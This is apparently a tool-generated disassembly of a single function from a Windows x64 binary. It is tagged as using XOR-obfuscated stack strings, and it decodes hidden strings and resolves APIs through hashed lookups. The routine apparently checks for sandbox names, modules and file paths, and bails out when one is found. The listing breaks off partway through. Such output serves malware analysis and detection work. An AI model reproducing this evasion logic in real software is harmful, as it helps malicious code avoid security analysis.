Function at 0x1422d2168
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb48]
sub rsp, 0xc48
xor r14d, r14d
mov dword [rbp - 0x5a], 0x405c4b19
mov cl, 0x19
mov dword [rbp - 0x56], 0x5a495857
mov r13b, 0x4b
mov byte [rbp - 0x52], cl
mov eax, r14d
lea r8d, [r14 + 1]
lea r9d, [r14 + 7]
xor byte [rbp + rax - 0x59], cl
add rax, r8
cmp rax, r9
jae 0x1422d21b9
mov cl, byte [rbp - 0x5a]
jmp 0x1422d21a8
lea rax, [rbp - 0x59]
mov byte [rbp - 0x52], r14b
mov cl, 0xc
mov qword [rbp + 0x730], rax
mov rax, r14
mov dword [rbp - 0x51], 0x404d410c
mov dword [rbp - 0x4d], 0x4f5c4d5a
mov r12b, 0x4f
mov byte [rbp - 0x49], cl
xor byte [rbp + rax - 0x50], cl
add rax, r8
cmp rax, r9
jae 0x1422d21f2
mov cl, byte [rbp - 0x51]
jmp 0x1422d21e1
lea rax, [rbp - 0x50]
mov byte [rbp - 0x49], r14b
mov cl, r12b
mov qword [rbp + 0x738], rax
mov rax, r14
mov byte [rbp + 0x4e], cl
mov dword [rbp + 0x4f], 0xe0a030a
mov dword [rbp + 0x53], 0xa1d0001
mov word [rbp + 0x57], 0xc1f
mov byte [rbp + 0x59], r12b
xor byte [rbp + rax + 0x4f], cl
add rax, r8
cmp rax, 0xa
jae 0x1422d2234
mov cl, byte [rbp + 0x4e]
jmp 0x1422d2222
lea rax, [rbp + 0x4f]
mov byte [rbp + 0x59], r14b
mov qword [rbp + 0x740], rax
mov cl, 0x67
mov rax, r14
mov dword [rbp + 1], 0x2e353067
mov dword [rbp + 5], 0x37332f20
mov word [rbp + 9], 0x6724
xor byte [rbp + rax + 2], cl
add rax, r8
cmp rax, 8
jae 0x1422d226e
mov cl, byte [rbp + 1]
jmp 0x1422d225c
lea rax, [rbp + 2]
mov byte [rbp + 0xa], r14b
mov qword [rbp + 0x748], rax
mov cl, 0x1c
mov rax, r14
mov dword [rbp + 0xb98], 0x554e5e1c
mov bl, 0x5e
mov dword [rbp + 0xb9c], 0x1c5f4c5d
xor byte [rbp + rax + 0xb99], cl
add rax, r8
cmp rax, 6
jae 0x1422d22b0
mov cl, byte [rbp + 0xb98]
jmp 0x1422d2298
lea rax, [rbp + 0xb99]
mov byte [rbp + 0xb9f], r14b
mov qword [rbp + 0x750], rax
mov cl, 0x7d
mov rax, r14
mov dword [rbp + 0xba0], 0x2f32377d
mov dword [rbp + 0xba4], 0x7d3e2d34
xor byte [rbp + rax + 0xba1], cl
add rax, r8
cmp rax, 6
jae 0x1422d22f6
mov cl, byte [rbp + 0xba0]
jmp 0x1422d22de
lea rax, [rbp + 0xba1]
mov byte [rbp + 0xba7], r14b
mov cl, 0x4e
mov qword [rbp + 0x758], rax
mov rax, r14
mov dword [rbp - 0x48], 0xc0f094e
mov dword [rbp - 0x44], 0xd1e070c
mov byte [rbp - 0x40], cl
xor byte [rbp + rax - 0x47], cl
add rax, r8
cmp rax, r9
jae 0x1422d2332
mov cl, byte [rbp - 0x48]
jmp 0x1422d2321
lea rax, [rbp - 0x47]
mov byte [rbp - 0x40], r14b
mov dl, 0x70
mov qword [rbp + 0x760], rax
mov rax, r14
mov dword [rbp - 0x3f], 0x3c353870
mov cl, dl
mov dword [rbp - 0x3b], 0x33203123
mov byte [rbp - 0x37], dl
xor byte [rbp + rax - 0x3e], cl
add rax, r8
cmp rax, r9
jae 0x1422d236a
mov cl, byte [rbp - 0x3f]
jmp 0x1422d2359
lea rax, [rbp - 0x3e]
mov byte [rbp - 0x37], r14b
mov qword [rbp + 0x768], rax
mov cl, 0x52
mov rax, r14
mov dword [rbp + 0xba8], 0x1f131f52
mov dword [rbp + 0xbac], 0x52110217
xor byte [rbp + rax + 0xba9], cl
add rax, r8
cmp rax, 6
jae 0x1422d23aa
mov cl, byte [rbp + 0xba8]
jmp 0x1422d2392
lea rax, [rbp + 0xba9]
mov byte [rbp + 0xbaf], r14b
mov qword [rbp + 0x770], rax
mov cl, 0x75
mov rax, r14
mov dword [rbp - 9], 0x343d2675
mov dword [rbp - 5], 0x253c3427
mov word [rbp - 1], 0x7536
xor byte [rbp + rax - 8], cl
add rax, r8
cmp rax, 8
jae 0x1422d23ea
mov cl, byte [rbp - 9]
jmp 0x1422d23d8
lea rax, [rbp - 8]
mov byte [rbp], r14b
mov cl, 4
mov qword [rbp + 0x778], rax
mov rax, r14
mov dword [rbp + 0x15], 0x45564504
mov dword [rbp + 0x19], 0x4a4b4c47
mov r15b, 0x4a
mov word [rbp + 0x1d], 0x4754
mov byte [rbp + 0x1f], cl
xor byte [rbp + rax + 0x16], cl
add rax, r8
cmp rax, 9
jae 0x1422d242a
mov cl, byte [rbp + 0x15]
jmp 0x1422d2418
lea rax, [rbp + 0x16]
mov byte [rbp + 0x1f], r14b
mov sil, 0x7c
mov qword [rbp + 0x780], rax
mov cl, sil
mov dword [rbp + 0x21], 0x2e33303a
mov byte [rbp + 0x20], cl
mov rax, r14
mov dword [rbp + 0x25], 0x2c323d35
mov word [rbp + 0x29], 0x7c3f
xor byte [rbp + rax + 0x21], cl
add rax, r8
cmp rax, 9
jae 0x1422d246b
mov cl, byte [rbp + 0x20]
jmp 0x1422d2459
lea rax, [rbp + 0x21]
mov byte [rbp + 0x2a], r14b
mov cl, 0x56
mov qword [rbp + 0x788], rax
mov rax, r14
mov dword [rbp - 0x36], 0x1f121356
mov dword [rbp - 0x32], 0x15061e02
mov byte [rbp - 0x2e], cl
xor byte [rbp + rax - 0x35], cl
add rax, r8
cmp rax, r9
jae 0x1422d24a1
mov cl, byte [rbp - 0x36]
jmp 0x1422d2490
lea rax, [rbp - 0x35]
mov byte [rbp - 0x2e], r14b
mov qword [rbp + 0x790], rax
mov cl, 2
mov rax, r14
mov dword [rbp + 0x5a], 0x4b524302
mov dword [rbp + 0x5e], 0x355b5043
mov dword [rbp + 0x62], 0x241522f
xor byte [rbp + rax + 0x5b], cl
add rax, r8
cmp rax, 0xa
jae 0x1422d24dc
mov cl, byte [rbp + 0x5a]
jmp 0x1422d24ca
lea rax, [rbp + 0x5b]
mov byte [rbp + 0x65], r14b
mov qword [rbp + 0x798], rax
mov cl, 0xf
mov rax, r14
mov dword [rbp + 0x248], 0x4043440f
mov dil, 0x44
mov dword [rbp + 0x24c], 0x57504a41
mov dword [rbp + 0x250], 0x5f223b39
mov word [rbp + 0x254], 0xf4c
xor byte [rbp + rax + 0x249], cl
add rax, r8
cmp rax, 0xc
jae 0x1422d2532
mov cl, byte [rbp + 0x248]
jmp 0x1422d251a
lea rax, [rbp + 0x249]
mov byte [rbp + 0x255], r14b
mov qword [rbp + 0x7a0], rax
mov cl, 0x47
mov rax, r14
mov dword [rbp + 0x1e6], 0x7e0a7747
mov dword [rbp + 0x1ea], 0xd777117
mov dword [rbp + 0x1ee], 0x176a1072
mov word [rbp + 0x1f2], 0x4704
xor byte [rbp + rax + 0x1e7], cl
add rax, r8
cmp rax, 0xc
jae 0x1422d258b
mov cl, byte [rbp + 0x1e6]
jmp 0x1422d2573
lea rax, [rbp + 0x1e7]
mov byte [rbp + 0x1f3], r14b
mov cl, 0x30
mov qword [rbp + 0x7a8], rax
mov rax, r14
mov dword [rbp - 0x2d], 0x2007330
mov dword [rbp - 0x29], 0x2026464
mov byte [rbp - 0x25], cl
xor byte [rbp + rax - 0x2c], cl
add rax, r8
cmp rax, r9
jae 0x1422d25c7
mov cl, byte [rbp - 0x2d]
jmp 0x1422d25b6
lea rax, [rbp - 0x2c]
mov byte [rbp - 0x25], r14b
mov cl, 0x47
mov qword [rbp + 0x7b0], rax
mov rax, r14
mov dword [rbp - 0x24], 0x75770447
mov dword [rbp - 0x20], 0x71751313
mov byte [rbp - 0x1c], cl
xor byte [rbp + rax - 0x23], cl
add rax, r8
cmp rax, r9
jae 0x1422d25fd
mov cl, byte [rbp - 0x24]
jmp 0x1422d25ec
lea rax, [rbp - 0x23]
mov byte [rbp - 0x1c], r14b
mov cl, 0x23
mov qword [rbp + 0x7b8], rax
mov rax, r14
mov dword [rbp - 0x1b], 0x11136023
mov dword [rbp - 0x17], 0x15107777
mov byte [rbp - 0x13], cl
xor byte [rbp + rax - 0x1a], cl
add rax, r8
cmp rax, r9
jae 0x1422d2633
mov cl, byte [rbp - 0x1b]
jmp 0x1422d2622
lea rax, [rbp - 0x1a]
mov byte [rbp - 0x13], r14b
mov cl, sil
mov qword [rbp + 0x7c0], rax
mov rax, r14
mov byte [rbp - 0x12], cl
mov dword [rbp - 0x11], 0x284e4c3f
mov dword [rbp - 0xd], 0x7c444d28
xor byte [rbp + rax - 0x11], cl
add rax, r8
cmp rax, r9
jae 0x1422d266a
mov cl, byte [rbp - 0x12]
jmp 0x1422d2659
lea rax, [rbp - 0x11]
mov byte [rbp - 0xa], r14b
mov cl, 0x45
mov qword [rbp + 0x7c8], rax
mov rax, r14
mov dword [rsp + 0x4a], 0x73750645
mov dword [rsp + 0x4e], 0x76711111
mov byte [rsp + 0x52], cl
xor byte [rsp + rax + 0x4b], cl
add rax, r8
cmp rax, r9
jae 0x1422d26a4
mov cl, byte [rsp + 0x4a]
jmp 0x1422d2692
lea rax, [rsp + 0x4b]
mov byte [rsp + 0x52], r14b
mov qword [rbp + 0x7d0], rax
mov cl, 0x22
mov rax, r14
mov dword [rbp + 0xb], 0x57525122
mov dword [rbp + 0xf], 0x544b5650
mov word [rbp + 0x13], 0x2247
xor byte [rbp + rax + 0xc], cl
add rax, r8
cmp rax, 8
jae 0x1422d26e0
mov cl, byte [rbp + 0xb]
jmp 0x1422d26ce
lea rax, [rbp + 0xc]
mov byte [rbp + 0x14], r14b
mov cl, 0x3e
mov qword [rbp + 0x7d8], rax
mov rax, r14
mov dword [rbp + 0x256], 0x4c575d3e
mov dword [rbp + 0x25a], 0x4d534b5d
mov dword [rbp + 0x25e], 0x52525b4a
mov word [rbp + 0x262], 0x4c5f
mov byte [rbp + 0x264], cl
xor byte [rbp + rax + 0x257], cl
add rax, r8
cmp rax, 0xd
jae 0x1422d2739
mov cl, byte [rbp + 0x256]
jmp 0x1422d2721
movdqa xmm0, xmmword [0x1422db060]
lea rax, [rbp + 0x257]
mov qword [rbp + 0x7e0], rax
mov rcx, r14
movdqu xmmword [rbp + 0x3c9], xmm0
mov byte [rbp + 0x264], r14b
mov byte [rbp + 0x3d9], 0x38
mov al, byte [rbp + 0x3c9]
xor byte [rbp + rcx + 0x3ca], al
add rcx, r8
cmp rcx, 0xf
jb 0x1422d2768
movdqa xmm0, xmmword [0x1422db260]
lea rax, [rbp + 0x3ca]
mov qword [rbp + 0x7e8], rax
mov rcx, r14
movdqu xmmword [rbp + 0x3b8], xmm0
mov byte [rbp + 0x3d9], r14b
mov byte [rbp + 0x3c8], 0x53
mov al, byte [rbp + 0x3b8]
xor byte [rbp + rcx + 0x3b9], al
add rcx, r8
cmp rcx, 0xf
jb 0x1422d27ad
lea rax, [rbp + 0x3b9]
mov byte [rbp + 0x3c8], r14b
mov cl, 0x1d
mov qword [rbp + 0x7f0], rax
mov rax, r14
mov dword [rbp + 0x265], 0x305e4d1d
mov dword [rbp + 0x269], 0x242d5c29
mov dword [rbp + 0x26d], 0x2a2f5828
mov word [rbp + 0x271], 0x5f5e
mov byte [rbp + 0x273], cl
xor byte [rbp + rax + 0x266], cl
add rax, r8
cmp rax, 0xd
jae 0x1422d2822
mov cl, byte [rbp + 0x265]
jmp 0x1422d280a
movdqa xmm0, xmmword [0x1422db170]
lea rax, [rbp + 0x266]
mov qword [rbp + 0x7f8], rax
mov rcx, r14
movdqu xmmword [rbp + 0x3da], xmm0
mov byte [rbp + 0x273], r14b
mov byte [rbp + 0x3ea], 9
mov al, byte [rbp + 0x3da]
xor byte [rbp + rcx + 0x3db], al
add rcx, r8
cmp rcx, 0xf
jb 0x1422d2851
lea rax, [rbp + 0x3db]
mov byte [rbp + 0x3ea], r14b
mov qword [rbp + 0x800], rax
mov cl, 0x55
mov rax, r14
mov dword [rbp + 0x1a0], 0x32233455
mov dword [rbp + 0x1a4], 0x3e3a3a3d
mov dword [rbp + 0x1a8], 0x39317b2d
mov word [rbp + 0x1ac], 0x5539
xor byte [rbp + rax + 0x1a1], cl
add rax, r8
cmp rax, 0xc
jae 0x1422d28c0
mov cl, byte [rbp + 0x1a0]
jmp 0x1422d28a8
mov byte [rbp + 0x1ad], r14b
mov cl, 0x43
mov dword [rbp + 0x23a], 0x31262843
mov rax, r14
mov dword [rbp + 0x23e], 0x702f262d
mov dword [rbp + 0x242], 0x2f276d71
mov word [rbp + 0x246], 0x432f
xor byte [rbp + rax + 0x23b], cl
add rax, r8
cmp rax, 0xc
jae 0x1422d290b
mov cl, byte [rbp + 0x23a]
jmp 0x1422d28f3
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x247], r14b
lea rcx, [rbp + 0x23b]
call fcn.1422d1484
lea rcx, [rbp + 0x1a1]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x76
mov dword [rbp + 0x1bc], 0x11001776
mov dword [rbp + 0x1c0], 0x1d19191e
mov rax, r14
mov dword [rbp + 0x1c4], 0x1a125817
mov word [rbp + 0x1c8], 0x761a
xor byte [rbp + rax + 0x1bd], cl
inc rax
cmp rax, 0xc
jae 0x1422d297e
mov cl, byte [rbp + 0x1bc]
jmp 0x1422d2966
mov byte [rbp + 0x1c9], r14b
mov cl, 0x56
mov dword [rbp + 0x1ae], 0x24333d56
mov rax, r14
mov dword [rbp + 0x1b2], 0x653a3338
mov dword [rbp + 0x1b6], 0x3a327864
mov word [rbp + 0x1ba], 0x563a
xor byte [rbp + rax + 0x1af], cl
inc rax
cmp rax, 0xc
jae 0x1422d29c9
mov cl, byte [rbp + 0x1ae]
jmp 0x1422d29b1
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x1bb], r14b
lea rcx, [rbp + 0x1af]
call fcn.1422d1484
lea rcx, [rbp + 0x1bd]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x69
mov dword [rbp + 0x2b], 0x11071a69
mov byte [rbp + 0x35], cl
mov rax, r14
mov dword [rbp + 0x2f], 0xd470201
mov word [rbp + 0x33], 0x505
xor byte [rbp + rax + 0x2c], cl
inc rax
cmp rax, 9
jae 0x1422d2a26
mov cl, byte [rbp + 0x2b]
jmp 0x1422d2a14
mov byte [rbp + 0x35], r14b
mov cl, 0x22
mov dword [rbp + 0x1ca], 0x50474922
mov rax, r14
mov dword [rbp + 0x1ce], 0x114e474c
mov dword [rbp + 0x1d2], 0x4e460c10
mov word [rbp + 0x1d6], 0x224e
xor byte [rbp + rax + 0x1cb], cl
inc rax
cmp rax, 0xc
jae 0x1422d2a6e
mov cl, byte [rbp + 0x1ca]
jmp 0x1422d2a56
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x1d7], r14b
lea rcx, [rbp + 0x1cb]
call fcn.1422d1484
lea rcx, [rbp + 0x2c]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x34
mov dword [rsp + 0x30], 0x5d564734
mov byte [rsp + 0x3c], cl
mov rax, r14
mov dword [rsp + 0x34], 0x58585051
mov dword [rsp + 0x38], 0x5858501a
xor byte [rsp + rax + 0x31], cl
inc rax
cmp rax, 0xb
jae 0x1422d2ace
mov cl, byte [rsp + 0x30]
jmp 0x1422d2abb
mov byte [rsp + 0x3c], r14b
mov cl, 0x76
mov dword [rbp + 0x1d8], 0x4131d76
mov rax, r14
mov dword [rbp + 0x1dc], 0x451a1318
mov dword [rbp + 0x1e0], 0x1a125844
mov word [rbp + 0x1e4], 0x761a
xor byte [rbp + rax + 0x1d9], cl
inc rax
cmp rax, 0xc
jae 0x1422d2b17
mov cl, byte [rbp + 0x1d8]
jmp 0x1422d2aff
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x1e5], r14b
lea rcx, [rbp + 0x1d9]
call fcn.1422d1484
lea rcx, [rsp + 0x31]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x27
mov dword [rsp + 0x3d], 0x4e574627
mov byte [rsp + 0x49], cl
mov rax, r14
mov dword [rsp + 0x41], 0x40484b78
mov dword [rsp + 0x45], 0x4b4b4309
xor byte [rsp + rax + 0x3e], cl
inc rax
cmp rax, 0xb
jae 0x1422d2b78
mov cl, byte [rsp + 0x3d]
jmp 0x1422d2b65
mov byte [rsp + 0x49], r14b
xor eax, eax
mov r14b, 0x6b
mov dword [rbp + 0x193], 0x5190e00
mov cl, r14b
mov dword [rbp + 0x197], 0x5958070e
mov byte [rbp + 0x192], cl
mov dword [rbp + 0x19b], 0x7070f45
mov byte [rbp + 0x19f], r14b
xor byte [rbp + rax + 0x193], cl
inc rax
cmp rax, 0xc
jae 0x1422d2bc8
mov cl, byte [rbp + 0x192]
jmp 0x1422d2bb0
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x19f], 0
lea rcx, [rbp + 0x193]
call fcn.1422d1484
lea rcx, [rsp + 0x3e]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x30
mov dword [rbp + 0x274], 0x42595430
mov byte [rbp + 0x282], cl
mov dword [rbp + 0x278], 0x4451476f
mov dword [rbp + 0x27c], 0x541e5853
mov word [rbp + 0x280], 0x5c5c
xor byte [rbp + rax + 0x275], cl
inc rax
cmp rax, 0xd
jae 0x1422d2c3c
mov cl, byte [rbp + 0x274]
jmp 0x1422d2c24
mov cl, bl
mov byte [rbp + 0x282], 0
xor ebx, ebx
mov dword [rbp + 0x1f4], 0x2c3b355e
mov eax, ebx
mov dword [rbp + 0x1f8], 0x6d323b30
mov dword [rbp + 0x1fc], 0x323a706c
mov word [rbp + 0x200], 0x5e32
xor byte [rbp + rax + 0x1f5], cl
inc rax
cmp rax, 0xc
jae 0x1422d2c88
mov cl, byte [rbp + 0x1f4]
jmp 0x1422d2c70
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x201], bl
lea rcx, [rbp + 0x1f5]
call fcn.1422d1484
lea rcx, [rbp + 0x275]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x7e
mov dword [rsp + 0x54], 0xa0d0e7e
mov byte [rsp + 0x60], cl
mov rax, rbx
mov dword [rsp + 0x58], 0x1d1b0c11
mov dword [rsp + 0x5c], 0x12121a50
xor byte [rsp + rax + 0x55], cl
inc rax
cmp rax, 0xb
jae 0x1422d2cea
mov cl, byte [rsp + 0x54]
jmp 0x1422d2cd7
mov byte [rsp + 0x60], bl
mov cl, 0x22
mov dword [rbp + 0x202], 0x50474922
mov rax, rbx
mov dword [rbp + 0x206], 0x114e474c
mov dword [rbp + 0x20a], 0x4e460c10
mov word [rbp + 0x20e], 0x224e
xor byte [rbp + rax + 0x203], cl
inc rax
cmp rax, 0xc
jae 0x1422d2d32
mov cl, byte [rbp + 0x202]
jmp 0x1422d2d1a
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x20f], bl
lea rcx, [rbp + 0x203]
call fcn.1422d1484
lea rcx, [rsp + 0x55]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x23
mov dword [rsp + 0x61], 0x404e5523
mov byte [rsp + 0x6d], cl
mov rax, rbx
mov dword [rsp + 0x65], 0x4840464b
mov dword [rsp + 0x69], 0x4f4f470d
xor byte [rsp + rax + 0x62], cl
inc rax
cmp rax, 0xb
jae 0x1422d2d92
mov cl, byte [rsp + 0x61]
jmp 0x1422d2d7f
mov byte [rsp + 0x6d], bl
mov cl, 0x19
mov bl, 0x2b
mov dword [rbp + 0x210], 0x6b7c7219
mov dword [rbp + 0x214], 0x2a757c77
xor eax, eax
mov dword [rbp + 0x218], 0x757d372b
mov word [rbp + 0x21c], 0x1975
xor byte [rbp + rax + 0x211], cl
inc rax
cmp rax, 0xc
jae 0x1422d2ddb
mov cl, byte [rbp + 0x210]
jmp 0x1422d2dc3
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp + 0x21d], 0
lea rcx, [rbp + 0x211]
call fcn.1422d1484
lea rcx, [rsp + 0x62]
call rax
xor edx, edx
test rax, rax
jne 0x1422d49ab
mov cl, 0x23
mov dword [rbp + 0x66], 0x46535423
mov dword [rbp + 0x6a], 0xd5a5350
mov eax, edx
mov dword [rbp + 0x6e], 0x234f4f47
xor byte [rbp + rax + 0x67], cl
inc rax
cmp rax, 0xa
jae 0x1422d2e35
mov cl, byte [rbp + 0x66]
jmp 0x1422d2e23
mov byte [rbp + 0x71], dl
mov cl, 0x33
mov dword [rbp + 0x21e], 0x41565833
mov rax, rdx
mov dword [rbp + 0x222], 0x5f565d
mov dword [rbp + 0x226], 0x5f571d01
mov word [rbp + 0x22a], 0x335f
xor byte [rbp + rax + 0x21f], cl
inc rax
cmp rax, 0xc
jae 0x1422d2e7c
mov cl, byte [rbp + 0x21e]
jmp 0x1422d2e64
mov byte [rbp + 0x22b], dl
lea rcx, [rbp + 0x21f]
movabs rdx, 0x108f61636e1eabfa
call fcn.1422d1484
lea rcx, [rbp + 0x67]
call rax
xor edx, edx
test rax, rax
jne 0x1422d49ab
mov cl, 0x49
mov dword [rsp + 0x6e], 0x2d242a49
mov dword [rsp + 0x72], 0x7a3d3b3f
mov eax, edx
mov dword [rsp + 0x76], 0x252d677b
mov word [rsp + 0x7a], 0x4925
xor byte [rsp + rax + 0x6f], cl
inc rax
cmp rax, 0xc
jae 0x1422d2edf
mov cl, byte [rsp + 0x6e]
jmp 0x1422d2ecc
mov byte [rsp + 0x7b], dl
mov cl, 0x65
mov dword [rbp + 0x22c], 0x17000e65
mov rax, rdx
mov dword [rbp + 0x230], 0x5609000b
mov dword [rbp + 0x234], 0x9014b57
mov word [rbp + 0x238], 0x6509
xor byte [rbp + rax + 0x22d], cl
inc rax
cmp rax, 0xc
jae 0x1422d2f27
mov cl, byte [rbp + 0x22c]
jmp 0x1422d2f0f
mov byte [rbp + 0x239], dl
lea rcx, [rbp + 0x22d]
movabs rdx, 0x108f61636e1eabfa
call fcn.1422d1484
lea rcx, [rsp + 0x6f]
call rax
test rax, rax
jne 0x1422d49ab
mov cl, 0x6f
mov dword [rbp - 0x68], 0xb020c6f
mov dword [rbp - 0x64], 0x591b1d19
mov dword [rbp - 0x60], 0x30b415b
mov word [rbp - 0x5c], 0x6f03
xor byte [rbp + rax - 0x67], cl
inc rax
cmp rax, 0xc
jae 0x1422d2f82
mov cl, byte [rbp - 0x68]
jmp 0x1422d2f70
mov byte [rbp - 0x5b], 0
mov cl, 0x58
mov dword [rsp + 0x7c], 0x2a3d3358
xor eax, eax
mov dword [rbp - 0x80], 0x6b343d36
mov dword [rbp - 0x7c], 0x343c766a
mov word [rbp - 0x78], 0x5834
xor byte [rsp + rax + 0x7d], cl
inc rax
cmp rax, 0xc
jae 0x1422d2fb9
mov cl, byte [rsp + 0x7c]
jmp 0x1422d2fa6
movabs rdx, 0x108f61636e1eabfa
mov byte [rbp - 0x77], 0
lea rcx, [rsp + 0x7d]
call fcn.1422d1484
lea rcx, [rbp - 0x67]
call rax
test rax, rax
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x810]
mov r8d, 0x104
call fcn.1422d8db8
mov cl, 0x23
mov dword [rbp - 0x76], 0x51464823
xor eax, eax
mov dword [rbp - 0x72], 0x104f464d
mov dword [rbp - 0x6e], 0x4f470d11
mov word [rbp - 0x6a], 0x234f
xor byte [rbp + rax - 0x75], cl
inc rax
cmp rax, 0xc
jae 0x1422d3025
mov cl, byte [rbp - 0x76]
jmp 0x1422d3013
movabs rdx, 0x6aed10f29f216f08
mov byte [rbp - 0x69], 0
lea rcx, [rbp - 0x75]
call fcn.1422d1484
mov edx, 0x104
lea rcx, [rbp + 0x810]
call rax
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db2f0]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db270]
movdqu xmmword [rbp + 0x550], xmm0
mov word [rbp + 0x570], 0x656f
movdqu xmmword [rbp + 0x560], xmm1
mov byte [rbp + 0x572], 0x16
mov al, byte [rbp + 0x550]
xor byte [rbp + rcx + 0x551], al
inc rcx
cmp rcx, 0x21
jb 0x1422d3090
mov cl, r14b
mov byte [rbp + 0x572], 0
mov byte [rbp + 0x72], cl
xor eax, eax
mov dword [rbp + 0x73], 0x190e181e
mov dword [rbp + 0x77], 0xf455958
mov word [rbp + 0x7b], 0x707
mov byte [rbp + 0x7d], r14b
xor byte [rbp + rax + 0x73], cl
inc rax
cmp rax, 0xa
jae 0x1422d30df
mov cl, byte [rbp + 0x72]
jmp 0x1422d30cd
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x7d], 0
lea rcx, [rbp + 0x73]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x551]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db040]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db090]
movdqu xmmword [rbp + 0x573], xmm0
mov word [rbp + 0x593], 0x1218
movdqu xmmword [rbp + 0x583], xmm1
mov byte [rbp + 0x595], 0x61
mov al, byte [rbp + 0x573]
xor byte [rbp + rcx + 0x574], al
inc rcx
cmp rcx, 0x21
jb 0x1422d3167
mov cl, sil
mov byte [rbp + 0x595], 0
mov byte [rbp + 0x7e], cl
xor eax, eax
mov dword [rbp + 0x7f], 0xe190f09
mov dword [rbp + 0x83], 0x18524e4f
mov word [rbp + 0x87], 0x1010
mov byte [rbp + 0x89], sil
xor byte [rbp + rax + 0x7f], cl
inc rax
cmp rax, 0xa
jae 0x1422d31bf
mov cl, byte [rbp + 0x7e]
jmp 0x1422d31ad
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x89], 0
lea rcx, [rbp + 0x7f]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x574]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db080]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db280]
movdqu xmmword [rbp + 0x701], xmm0
movdqu xmmword [rbp + 0x711], xmm1
mov al, byte [rbp + 0x701]
xor byte [rbp + rcx + 0x702], al
inc rcx
cmp rcx, 0x1e
jb 0x1422d323a
mov byte [rbp + 0x720], 0
mov cl, 0x21
mov dword [rbp + 0x8a], 0x44525421
xor eax, eax
mov dword [rbp + 0x8e], 0xf131253
mov dword [rbp + 0x92], 0x214d4d45
xor byte [rbp + rax + 0x8b], cl
inc rax
cmp rax, 0xa
jae 0x1422d3291
mov cl, byte [rbp + 0x8a]
jmp 0x1422d3279
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x95], 0
lea rcx, [rbp + 0x8b]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x702]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db010]
xor edx, edx
movdqa xmm1, xmmword [0x1422db0d0]
mov ecx, edx
movdqu xmmword [rbp + 0x596], xmm0
mov word [rbp + 0x5b6], 0x1812
movdqu xmmword [rbp + 0x5a6], xmm1
mov byte [rbp + 0x5b8], r14b
mov al, byte [rbp + 0x596]
xor byte [rbp + rcx + 0x597], al
inc rcx
cmp rcx, 0x21
jb 0x1422d3321
mov byte [rbp + 0x5b8], dl
mov cl, 0x72
mov dword [rbp + 0x96], 0x17010772
mov rax, rdx
mov dword [rbp + 0x9a], 0x5c404100
mov dword [rbp + 0x9e], 0x721e1e16
xor byte [rbp + rax + 0x97], cl
inc rax
cmp rax, 0xa
jae 0x1422d3378
mov cl, byte [rbp + 0x96]
jmp 0x1422d3360
mov byte [rbp + 0xa1], dl
lea rcx, [rbp + 0x97]
movabs rdx, 0xbda4b20ba205
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x597]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db100]
xor ecx, ecx
movdqu xmmword [rbp + 0x37c], xmm0
mov dword [rbp + 0x38c], 0x3d272a36
mov dword [rbp + 0x390], 0x222a603e
mov word [rbp + 0x394], 0x4e22
mov al, byte [rbp + 0x37c]
xor byte [rbp + rcx + 0x37d], al
inc rcx
cmp rcx, 0x18
jb 0x1422d3402
mov byte [rbp + 0x395], 0
mov cl, 0x11
mov dword [rbp + 0xa2], 0x74626411
xor eax, eax
mov dword [rbp + 0xa6], 0x3f232263
mov dword [rbp + 0xaa], 0x117d7d75
xor byte [rbp + rax + 0xa3], cl
inc rax
cmp rax, 0xa
jae 0x1422d3459
mov cl, byte [rbp + 0xa2]
jmp 0x1422d3441
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xad], 0
lea rcx, [rbp + 0xa3]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x37d]
lea rcx, [rbp + 0x440]
call rax
